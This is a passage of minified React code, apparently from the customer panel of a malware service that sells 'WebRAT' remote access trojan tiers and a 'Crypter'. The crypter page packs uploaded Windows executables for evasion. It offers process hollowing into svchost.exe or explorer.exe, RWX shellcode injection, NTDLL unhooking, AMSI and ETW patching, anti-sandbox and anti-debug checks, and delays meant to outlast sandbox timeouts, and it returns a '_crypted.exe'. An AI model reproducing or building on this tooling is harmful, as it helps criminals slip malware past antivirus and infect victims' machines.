font-mono border transition-colors ${P===C?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:C},C))}),a.jsxs("div",{className:"flex gap-2 pt-2",children:[a.jsx("button",{onClick:ye,disabled:G,className:`flex-1 px-4 py-2 text-sm font-medium bg-emerald-600 text-white\r + hover:bg-emerald-700 disabled:opacity-50 transition-colors`,children:G?"Extending...":"Add Time"}),a.jsx("button",{onClick:()=>T(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})}),K&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>_(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 w-96 space-y-4",onClick:C=>C.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text",children:["Set Tier — ",a.jsx("span",{className:"text-zerin-accent",children:K.username})]}),a.jsxs("div",{className:"flex gap-2",children:[a.jsx("button",{onClick:()=>F("rat"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${M==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),a.jsx("button",{onClick:()=>F("rat_crypter"),className:`flex-1 px-4 py-2.5 text-sm font-mono border transition-colors ${M==="rat_crypter"?"border-purple-500/50 bg-purple-500/10 text-purple-400":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]}),a.jsxs("div",{className:"flex gap-2 pt-2",children:[a.jsx("button",{onClick:q,disabled:U,className:`flex-1 px-4 py-2 text-sm font-medium bg-purple-600 text-white\r + hover:bg-purple-700 disabled:opacity-50 transition-colors`,children:U?"Updating...":"Update Tier"}),a.jsx("button",{onClick:()=>_(null),className:`px-4 py-2 text-sm text-zerin-text-muted border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"})]})]})})]})}const q2=[{at:0,msg:"Initializing encryption engine..."},{at:8,msg:"Generating random XOR key (256-bit)..."},{at:14,msg:"Deriving AES-256-CBC session key via PBKDF2..."},{at:20,msg:"Parsing PE headers... IMAGE_NT_SIGNATURE OK"},{at:28,msg:"Mapping sections: .text .rdata .data .rsrc .reloc"},{at:38,msg:"Encrypting payload sections (XOR pass)..."},{at:48,msg:"Encrypting payload sections (AES pass)..."},{at:55,msg:"Building injection stub..."},{at:62,msg:"Patching entry point → stub trampoline"},{at:70,msg:"Applying evasion layers..."},{at:78,msg:"Compiling output binary..."},{at:85,msg:"Stripping debug symbols & Rich header"},{at:92,msg:"Obfuscating PE metadata (timestamp, linker)"},{at:98,msg:"Validating output integrity... SHA-256 OK"}],IV=[{path:"C:\\Windows\\System32\\svchost.exe",label:"svchost.exe",desc:"Service host (recommended)"},{path:"C:\\Windows\\System32\\RuntimeBroker.exe",label:"RuntimeBroker.exe",desc:"UWP broker"},{path:"C:\\Windows\\System32\\dllhost.exe",label:"dllhost.exe",desc:"COM surrogate"},{path:"C:\\Windows\\explorer.exe",label:"explorer.exe",desc:"Windows shell"}],Pa=[{key:"unhook_ntdll",label:"NTDLL Unhook",desc:"Replace hooked ntdll .text with clean copy from \\KnownDlls\\",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M12.293 4.293a1 1 0 0 1 1.414 0l4 4a1 1 0 0 1 0 1.414l-4 4a1 1 0 0 1-1.414-1.414L14.586 10H3a1 1 0 1 1 0-2h11.586l-2.293-2.293a1 1 0 0 1 0-1.414Z",clipRule:"evenodd"})})},{key:"amsi_bypass",label:"AMSI Bypass",desc:"Patch AmsiOpenSession to return AMSI_RESULT_CLEAN",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M10 1a4.5 4.5 0 0 0-4.5 4.5V9H5a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2h-.5V5.5A4.5 4.5 0 0 0 10 1Zm3 8V5.5a3 3 0 1 0-6 0V9h6Z",clipRule:"evenodd"})})},{key:"etw_patch",label:"ETW Patch",desc:"Patch EtwEventWrite with xor eax,eax; ret",icon:a.jsxs("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:[a.jsx("path",{d:"M10 12.5a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Z"}),a.jsx("path",{fillRule:"evenodd",d:"M.664 10.59a1.651 1.651 0 0 1 0-1.186A10.004 10.004 0 0 1 10 3c4.257 0 7.893 2.66 9.336 6.41.147.381.146.804 0 1.186A10.004 10.004 0 0 1 10 17c-4.257 0-7.893-2.66-9.336-6.41ZM14 10a4 4 0 1 1-8 0 4 4 0 0 1 8 0Z",clipRule:"evenodd"})]})},{key:"anti_sandbox",label:"Anti-Sandbox",desc:"Score-based VM/sandbox detection (3-tier weighted system)",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M8.485 2.495c.673-1.167 2.357-1.167 3.03 0l6.28 10.875c.673 1.167-.17 2.625-1.516 2.625H3.72c-1.347 0-2.189-1.458-1.515-2.625L8.485 2.495ZM10 5a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 10 5Zm0 9a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z",clipRule:"evenodd"})})},{key:"anti_debug",label:"Anti-Debug",desc:"NtQueryInformationProcess + ProcessDebugPort/ObjectHandle",icon:a.jsx("svg",{viewBox:"0 0 20 20",fill:"currentColor",className:"w-4 h-4",children:a.jsx("path",{fillRule:"evenodd",d:"M10 18a8 8 0 1 0 0-16 8 8 0 0 0 0 16ZM6.75 9.25a.75.75 0 0 0 0 1.5h6.5a.75.75 0 0 0 0-1.5h-6.5Z",clipRule:"evenodd"})})}],X2=` + @keyframes crypterScanLine { + 0% { top: -2px; opacity: 0; } + 10% { opacity: 1; } + 90% { opacity: 1; } + 100% { top: calc(100% + 2px); opacity: 0; } + } + @keyframes crypterPulseRing { + 0%, 100% { box-shadow: 0 0 0 0 rgba(6, 182, 212, 0.15); } + 50% { box-shadow: 0 0 0 6px rgba(6, 182, 212, 0); } + } + @keyframes crypterTerminalBlink { + 0%, 100% { opacity: 1; } + 50% { opacity: 0; } + } + @keyframes crypterLayerIn { + 0% { opacity: 0; transform: translateX(-6px); } + 100% { opacity: 1; transform: translateX(0); } + } + @keyframes crypterProgressGlow { + 0%, 100% { box-shadow: 0 0 8px rgba(6, 182, 212, 0.3); } + 50% { box-shadow: 0 0 20px rgba(6, 182, 212, 0.6); } + } + @keyframes crypterHexScroll { + 0% { transform: translateY(0); } + 100% { transform: translateY(-50%); } + } + @keyframes crypterCheckIn { + 0% { transform: scale(0.5); opacity: 0; } + 50% { transform: scale(1.15); } + 100% { transform: scale(1); opacity: 1; } + } + .crypter-scan-line { + position: absolute; + left: 0; + right: 0; + height: 1px; + background: linear-gradient(90deg, transparent, #06B6D4, transparent); + animation: crypterScanLine 2.5s ease-in-out infinite; + pointer-events: none; + } + .crypter-pulse-ring { + animation: crypterPulseRing 2s ease-in-out infinite; + } + .crypter-terminal-cursor::after { + content: '█'; + animation: crypterTerminalBlink 0.8s step-end infinite; + color: #06B6D4; + } + .crypter-layer-enter { + animation: crypterLayerIn 0.3s ease-out forwards; + } + .crypter-progress-glow { + animation: crypterProgressGlow 1.5s ease-in-out infinite; + } + .crypter-check-in { + animation: crypterCheckIn 0.35s cubic-bezier(0.34, 1.56, 0.64, 1) forwards; + } +`;function DV(e){const t=[];for(let n=0;nMath.floor(Math.random()*256).toString(16).toUpperCase().padStart(2,"0")).join(" ");t.push(`${r} ${i}`)}return t}function RV(){const{isAdmin:e}=ya(),n=kj()==="rat_crypter"||e,[r,i]=m.useState(null),[s,o]=m.useState("runpe"),[l,c]=m.useState("C:\\Windows\\System32\\svchost.exe"),[u,d]=m.useState(0),[f,p]=m.useState({anti_sandbox:!0,anti_debug:!0,unhook_ntdll:!0,amsi_bypass:!0,etw_patch:!0}),[h,x]=m.useState(!1),[g,y]=m.useState(0),[v,b]=m.useState(""),[w,j]=m.useState(!1),[N,k]=m.useState([]),[z,S]=m.useState(!1),O=m.useRef(null),A=m.useRef(null),[T]=m.useState(()=>DV(24)),P=Object.values(f).filter(Boolean).length,D=m.useCallback(_=>{p(M=>({...M,[_]:!M[_]}))},[]),G=m.useCallback(_=>{_.preventDefault(),j(!1);const M=_.dataTransfer.files[0];M&&(i(M),S(!1))},[]),R=m.useCallback(()=>{i(null),S(!1),k([]),y(0),O.current&&(O.current.value="")},[]);m.useEffect(()=>{if(!h)return;k([]);let _=0;const M=setInterval(()=>{if(_=F.at||_===0)&&(k(U=>[...U,F.msg]),_++)}},800+Math.random()*600);return()=>clearInterval(M)},[h]),m.useEffect(()=>{A.current&&(A.current.scrollTop=A.current.scrollHeight)},[N]);const K=m.useCallback(async()=>{if(!(!r||h)){x(!0),b(""),y(5),S(!1);try{const _=new FormData;_.append("file",r),_.append("mode",s),_.append("target_process",l),_.append("sleep_seconds",u.toString()),_.append("anti_sandbox",f.anti_sandbox.toString()),_.append("anti_debug",f.anti_debug.toString()),_.append("unhook_ntdll",f.unhook_ntdll.toString()),_.append("amsi_bypass",f.amsi_bypass.toString()),_.append("etw_patch",f.etw_patch.toString()),y(20);const M=setInterval(()=>{y(Z=>{const ae=90-Z,ue=Math.max(1,ae*.08);return Math.min(Z+ue,90)})},1200),F=await p6(_);clearInterval(M),y(100),S(!0);const U=URL.createObjectURL(F),V=document.createElement("a");V.href=U,V.download=r.name.replace(/\.exe$/i,"")+"_crypted.exe",document.body.appendChild(V),V.click(),document.body.removeChild(V),URL.revokeObjectURL(U)}catch(_){b(_.message||"Build failed"),y(0)}finally{x(!1)}}},[r,h,s,l,u,f]);return n?a.jsxs("div",{className:"h-full flex flex-col overflow-hidden",children:[a.jsx("style",{children:X2}),a.jsxs("div",{className:"flex-none px-6 py-4 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-zerin-accent/10 border border-zerin-accent/20 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M10 1a4.5 4.5 0 0 0-4.5 4.5V9H5a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2h-.5V5.5A4.5 4.5 0 0 0 10 1Zm3 8V5.5a3 3 0 1 0-6 0V9h6Z",clipRule:"evenodd"})})}),a.jsxs("div",{children:[a.jsx("h1",{className:"font-display text-lg font-bold text-zerin-text leading-none",children:"Crypter"}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mt-0.5 tracking-wide",children:"PE ENCRYPTION ENGINE"})]})]}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("div",{className:"flex items-center gap-2 bg-zerin-bg border border-zerin-panel-border px-3 py-1.5",children:[a.jsx("div",{className:"flex gap-0.5",children:Pa.map(_=>a.jsx("div",{className:`w-1.5 h-3 transition-colors duration-300 ${f[_.key]?"bg-zerin-accent":"bg-zerin-panel-border"}`},_.key))}),a.jsxs("span",{className:"font-mono text-[11px] text-zerin-text-dim",children:[P,"/",Pa.length]})]}),a.jsx("div",{className:"font-mono text-[10px] text-zerin-text-muted border border-zerin-panel-border px-2 py-1 tracking-wider",children:"XOR + AES-256-CBC"})]})]}),a.jsx("div",{className:"flex-1 overflow-y-auto custom-scrollbar",children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 py-6 space-y-5",children:[a.jsxs("div",{className:`relative overflow-hidden transition-all duration-300 cursor-pointer group + ${r?"border border-zerin-accent/30 bg-zerin-accent/[0.03]":w?"border-2 border-dashed border-zerin-accent bg-zerin-accent/5":"border border-dashed border-zerin-panel-border-hover hover:border-zerin-text-muted/30"}`,onDragOver:_=>{_.preventDefault(),j(!0)},onDragLeave:()=>j(!1),onDrop:G,onClick:()=>{var _;return!r&&((_=O.current)==null?void 0:_.click())},children:[!r&&a.jsx("div",{className:"absolute inset-0 overflow-hidden pointer-events-none opacity-[0.04]",children:a.jsx("div",{className:"font-mono text-[9px] leading-[14px] text-zerin-text whitespace-pre select-none pt-1 pl-3",style:{animation:"crypterHexScroll 30s linear infinite"},children:T.concat(T).map((_,M)=>a.jsx("div",{children:_},M))})}),!r&&!w&&a.jsx("div",{className:"crypter-scan-line"}),a.jsx("input",{ref:O,type:"file",accept:".exe",className:"hidden",onChange:_=>{var F;const M=(F=_.target.files)==null?void 0:F[0];M&&(i(M),S(!1))}}),r?a.jsxs("div",{className:"relative px-5 py-4 flex items-center gap-4",children:[a.jsx("div",{className:"flex-none w-10 h-10 bg-zerin-accent/10 border border-zerin-accent/25 flex items-center justify-center crypter-pulse-ring",children:a.jsx("svg",{className:"w-5 h-5 text-zerin-accent",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M4.5 2A1.5 1.5 0 0 0 3 3.5v13A1.5 1.5 0 0 0 4.5 18h11a1.5 1.5 0 0 0 1.5-1.5V7.621a1.5 1.5 0 0 0-.44-1.06l-4.12-4.122A1.5 1.5 0 0 0 11.378 2H4.5Zm7.75 9.75a.75.75 0 0 0 0-1.5h-4.5a.75.75 0 0 0 0 1.5h4.5Z",clipRule:"evenodd"})})}),a.jsxs("div",{className:"flex-1 min-w-0",children:[a.jsx("div",{className:"font-mono text-sm text-zerin-text truncate",children:r.name}),a.jsxs("div",{className:"flex items-center gap-3 mt-0.5",children:[a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted",children:r.size<1024*1024?`${(r.size/1024).toFixed(1)} KB`:`${(r.size/(1024*1024)).toFixed(2)} MB`}),a.jsx("span",{className:"text-zerin-panel-border",children:"·"}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-accent/70",children:"PE32+ executable"})]})]}),a.jsx("button",{onClick:_=>{_.stopPropagation(),R()},className:"flex-none p-1.5 text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Remove file",children:a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M6.28 5.22a.75.75 0 0 0-1.06 1.06L8.94 10l-3.72 3.72a.75.75 0 1 0 1.06 1.06L10 11.06l3.72 3.72a.75.75 0 1 0 1.06-1.06L11.06 10l3.72-3.72a.75.75 0 0 0-1.06-1.06L10 8.94 6.28 5.22Z"})})})]}):a.jsxs("div",{className:"relative px-5 py-8 text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 border border-zerin-panel-border-hover flex items-center justify-center group-hover:border-zerin-text-muted/30 transition-colors",children:a.jsxs("svg",{className:"w-5 h-5 text-zerin-text-muted group-hover:text-zerin-text-dim transition-colors",viewBox:"0 0 20 20",fill:"currentColor",children:[a.jsx("path",{d:"M9.25 13.25a.75.75 0 0 0 1.5 0V4.636l2.955 3.129a.75.75 0 0 0 1.09-1.03l-4.25-4.5a.75.75 0 0 0-1.09 0l-4.25 4.5a.75.75 0 1 0 1.09 1.03L9.25 4.636v8.614Z"}),a.jsx("path",{d:"M3.5 12.75a.75.75 0 0 0-1.5 0v2.5A2.75 2.75 0 0 0 4.75 18h10.5A2.75 2.75 0 0 0 18 15.25v-2.5a.75.75 0 0 0-1.5 0v2.5c0 .69-.56 1.25-1.25 1.25H4.75c-.69 0-1.25-.56-1.25-1.25v-2.5Z"})]})}),a.jsxs("p",{className:"font-mono text-sm text-zerin-text-dim",children:["Drop a ",a.jsx("span",{className:"text-zerin-accent",children:".exe"})," here or click to browse"]}),a.jsx("p",{className:"font-mono text-[11px] text-zerin-text-muted mt-1",children:"Max 50 MB · Windows PE executables only"})]})]}),a.jsxs("div",{className:"grid lg:grid-cols-5 gap-5",children:[a.jsxs("div",{className:"lg:col-span-3 space-y-5",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center gap-2",children:[a.jsx("span",{className:"w-1 h-3 bg-zerin-accent"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-dim uppercase tracking-wider",children:"Injection Mode"})]}),a.jsxs("div",{className:"p-4",children:[a.jsxs("div",{className:"grid grid-cols-2 gap-3",children:[a.jsxs("button",{onClick:()=>o("runpe"),className:`relative p-4 text-left border transition-all duration-200 group/mode ${s==="runpe"?"border-zerin-accent bg-zerin-accent/[0.06]":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[s==="runpe"&&a.jsx("div",{className:"absolute top-2 right-2 w-2 h-2 bg-zerin-accent"}),a.jsxs("div",{className:"flex items-center gap-2 mb-2",children:[a.jsx("svg",{className:`w-4 h-4 ${s==="runpe"?"text-zerin-accent":"text-zerin-text-muted"}`,viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M15.98 1.804a1 1 0 0 0-1.96 0l-.24 1.192a1 1 0 0 1-.784.785l-1.192.238a1 1 0 0 0 0 1.962l1.192.238a1 1 0 0 1 .785.785l.238 1.192a1 1 0 0 0 1.962 0l.238-1.192a1 1 0 0 1 .785-.785l1.192-.238a1 1 0 0 0 0-1.962l-1.192-.238a1 1 0 0 1-.785-.785l-.238-1.192ZM6.949 5.684a1 1 0 0 0-1.898 0l-.683 2.051a1 1 0 0 1-.633.633l-2.051.683a1 1 0 0 0 0 1.898l2.051.684a1 1 0 0 1 .633.632l.683 2.051a1 1 0 0 0 1.898 0l.683-2.051a1 1 0 0 1 .633-.633l2.051-.683a1 1 0 0 0 0-1.898l-2.051-.683a1 1 0 0 1-.633-.633L6.95 5.684Z"})}),a.jsx("span",{className:`font-mono text-sm font-semibold ${s==="runpe"?"text-zerin-accent":"text-zerin-text-dim"}`,children:"RunPE"})]}),a.jsx("div",{className:"font-mono text-[11px] text-zerin-text-muted leading-relaxed",children:"Process hollowing — spawns target, unmaps image, writes payload into process memory space"})]}),a.jsxs("button",{onClick:()=>o("shellcode"),className:`relative p-4 text-left border transition-all duration-200 group/mode ${s==="shellcode"?"border-zerin-accent bg-zerin-accent/[0.06]":"border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:[s==="shellcode"&&a.jsx("div",{className:"absolute top-2 right-2 w-2 h-2 bg-zerin-accent"}),a.jsxs("div",{className:"flex items-center gap-2 mb-2",children:[a.jsx("svg",{className:`w-4 h-4 ${s==="shellcode"?"text-zerin-accent":"text-zerin-text-muted"}`,viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M6.28 5.22a.75.75 0 0 1 0 1.06L2.56 10l3.72 3.72a.75.75 0 0 1-1.06 1.06L.97 10.53a.75.75 0 0 1 0-1.06l4.25-4.25a.75.75 0 0 1 1.06 0Zm7.44 0a.75.75 0 0 1 1.06 0l4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.75.75 0 0 1-1.06-1.06L17.44 10l-3.72-3.72a.75.75 0 0 1 0-1.06ZM11.377 2.011a.75.75 0 0 1 .612.867l-2.5 14.5a.75.75 0 0 1-1.478-.255l2.5-14.5a.75.75 0 0 1 .866-.612Z",clipRule:"evenodd"})}),a.jsx("span",{className:`font-mono text-sm font-semibold ${s==="shellcode"?"text-zerin-accent":"text-zerin-text-dim"}`,children:"Shellcode"})]}),a.jsx("div",{className:"font-mono text-[11px] text-zerin-text-muted leading-relaxed",children:"VirtualAlloc + new thread — allocates RWX memory, copies decrypted payload, creates execution thread"})]})]}),s==="runpe"&&a.jsxs("div",{className:"mt-4 pt-4 border-t border-zerin-panel-border",children:[a.jsx("div",{className:"flex items-center justify-between mb-2.5",children:a.jsx("label",{className:"font-mono text-[11px] text-zerin-text-muted uppercase tracking-wider",children:"Target Process"})}),a.jsx("div",{className:"flex flex-wrap gap-1.5 mb-2.5",children:IV.map(_=>a.jsx("button",{onClick:()=>c(_.path),className:`font-mono text-[11px] px-2 py-1 border transition-colors ${l===_.path?"border-zerin-accent/40 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"}`,title:_.desc,children:_.label},_.path))}),a.jsx("input",{type:"text",value:l,onChange:_=>c(_.target.value),className:"w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2 text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none focus:ring-1 focus:ring-zerin-accent/20 transition-all",placeholder:"C:\\Windows\\System32\\svchost.exe"})]})]})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center gap-2",children:[a.jsx("span",{className:"w-1 h-3 bg-zerin-accent"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-dim uppercase tracking-wider",children:"Execution Delay"})]}),a.jsxs("div",{className:"p-4",children:[a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsx("input",{type:"range",min:0,max:300,value:u,onChange:_=>d(parseInt(_.target.value)),className:"flex-1 h-1 bg-zerin-panel-border appearance-none cursor-pointer [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3 [&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer"}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("input",{type:"number",min:0,max:300,value:u,onChange:_=>d(Math.max(0,Math.min(300,parseInt(_.target.value)||0))),className:"w-16 bg-zerin-bg border border-zerin-panel-border px-2 py-1.5 text-center text-sm font-mono text-zerin-text focus:border-zerin-accent focus:outline-none"}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted",children:"sec"})]})]}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mt-2",children:u===0?"No delay — payload executes immediately after decryption":`Sleeps ${u}s before execution — evades sandbox timeout windows`})]})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"w-1 h-3 bg-zerin-accent"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-dim uppercase tracking-wider",children:"Build Output"})]}),h&&a.jsxs("span",{className:"font-mono text-[11px] text-zerin-accent tabular-nums",children:[Math.round(g),"%"]})]}),(h||g>0)&&a.jsx("div",{className:"h-[2px] bg-zerin-bg",children:a.jsx("div",{className:`h-full transition-all duration-700 ease-out ${z?"bg-emerald-500":"bg-zerin-accent crypter-progress-glow"}`,style:{width:`${g}%`}})}),a.jsx("div",{ref:A,className:"h-36 overflow-y-auto custom-scrollbar px-4 py-3 bg-[#0A0A0C]",children:N.length===0&&!h?a.jsx("div",{className:"h-full flex items-center justify-center",children:a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/50",children:"Waiting for build..."})}):a.jsxs("div",{className:"space-y-0.5",children:[N.map((_,M)=>a.jsxs("div",{className:"font-mono text-[11px] leading-relaxed crypter-layer-enter flex items-start gap-2",style:{animationDelay:`${M*30}ms`},children:[a.jsx("span",{className:`flex-none ${_.includes("OK")||_.includes("complete")?"text-emerald-500":"text-zerin-accent/50"}`,children:_.includes("OK")||_.includes("complete")?"✓":"›"}),a.jsx("span",{className:_.includes("OK")||_.includes("complete")?"text-emerald-400/90":"text-zerin-text-dim",children:_})]},M)),h&&a.jsx("div",{className:"font-mono text-[11px] crypter-terminal-cursor",children:a.jsx("span",{className:"text-zerin-accent/50",children:"› "})})]})}),a.jsxs("div",{className:"p-4 border-t border-zerin-panel-border",children:[a.jsx("button",{onClick:K,disabled:!r||h,className:`w-full py-3 font-mono font-semibold text-sm tracking-wide transition-all duration-300 flex items-center justify-center gap-2 ${r?h?"bg-zerin-accent/20 border border-zerin-accent/30 text-zerin-accent cursor-wait":z?"bg-emerald-500/10 border border-emerald-500/30 text-emerald-400 hover:bg-emerald-500/15":"bg-zerin-accent text-[#04040a] hover:shadow-[0_0_24px_rgba(6,182,212,0.35)] active:scale-[0.99]":"bg-zerin-panel-hover border border-zerin-panel-border text-zerin-text-muted cursor-not-allowed"}`,children:h?a.jsxs(a.Fragment,{children:[a.jsxs("svg",{className:"w-4 h-4 animate-spin",viewBox:"0 0 24 24",fill:"none",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Crypting..."]}):z?a.jsxs(a.Fragment,{children:[a.jsx("svg",{className:"w-4 h-4 crypter-check-in",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M16.704 4.153a.75.75 0 0 1 .143 1.052l-8 10.5a.75.75 0 0 1-1.127.075l-4.5-4.5a.75.75 0 0 1 1.06-1.06l3.894 3.893 7.48-9.817a.75.75 0 0 1 1.05-.143Z",clipRule:"evenodd"})}),"Downloaded — Crypt Again"]}):a.jsxs(a.Fragment,{children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M10 1a4.5 4.5 0 0 0-4.5 4.5V9H5a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2h-.5V5.5A4.5 4.5 0 0 0 10 1Zm3 8V5.5a3 3 0 1 0-6 0V9h6Z",clipRule:"evenodd"})}),"Crypt Payload"]})}),v&&a.jsxs("div",{className:"mt-3 px-3 py-2.5 border border-red-500/20 bg-red-500/5 flex items-start gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-red-400 flex-none mt-px",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M18 10a8 8 0 1 1-16 0 8 8 0 0 1 16 0Zm-8-5a.75.75 0 0 1 .75.75v4.5a.75.75 0 0 1-1.5 0v-4.5A.75.75 0 0 1 10 5Zm0 10a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z",clipRule:"evenodd"})}),a.jsx("span",{className:"text-red-400 text-sm font-mono",children:v})]})]})]})]}),a.jsxs("div",{className:"lg:col-span-2",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border lg:sticky lg:top-6",children:[a.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"w-1 h-3 bg-zerin-accent"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-dim uppercase tracking-wider",children:"Defense Layers"})]}),a.jsx("button",{onClick:()=>{const _=P===Pa.length,M={};Pa.forEach(F=>{M[F.key]=!_}),p(M)},className:"font-mono text-[10px] text-zerin-text-muted hover:text-zerin-accent transition-colors uppercase tracking-wider",children:P===Pa.length?"Clear All":"Enable All"})]}),a.jsx("div",{className:"divide-y divide-zerin-panel-border/50",children:Pa.map((_,M)=>{const F=f[_.key];return a.jsxs("button",{onClick:()=>D(_.key),className:`w-full text-left px-4 py-3.5 flex items-start gap-3 transition-all duration-200 group/layer ${F?"bg-zerin-accent/[0.04]":"hover:bg-zerin-panel-hover/50"}`,children:[a.jsx("div",{className:"flex-none pt-px",children:a.jsx("div",{className:`w-7 h-7 flex items-center justify-center border transition-all duration-300 ${F?"border-zerin-accent/40 bg-zerin-accent/15 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted group-hover/layer:border-zerin-panel-border-hover"}`,children:F?a.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M16.704 4.153a.75.75 0 0 1 .143 1.052l-8 10.5a.75.75 0 0 1-1.127.075l-4.5-4.5a.75.75 0 0 1 1.06-1.06l3.894 3.893 7.48-9.817a.75.75 0 0 1 1.05-.143Z",clipRule:"evenodd"})}):a.jsx("span",{className:"font-mono text-[10px]",children:M+1})})}),a.jsxs("div",{className:"flex-1 min-w-0",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:`font-mono text-sm transition-colors ${F?"text-zerin-text":"text-zerin-text-dim"}`,children:_.label}),F&&a.jsx("span",{className:"w-1.5 h-1.5 bg-zerin-accent rounded-full flex-none"})]}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mt-0.5 leading-relaxed",children:_.desc})]}),a.jsx("div",{className:`flex-none pt-0.5 transition-colors ${F?"text-zerin-accent/60":"text-zerin-text-muted/40"}`,children:_.icon})]},_.key)})}),a.jsx("div",{className:"px-4 py-3 border-t border-zerin-panel-border bg-zerin-bg/50",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("svg",{className:"w-3.5 h-3.5 text-zerin-accent/60",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M10 1c-1.716 0-3.408.106-5.07.31C3.806 1.45 3 2.414 3 3.517V16.75A2.25 2.25 0 0 0 5.25 19h9.5A2.25 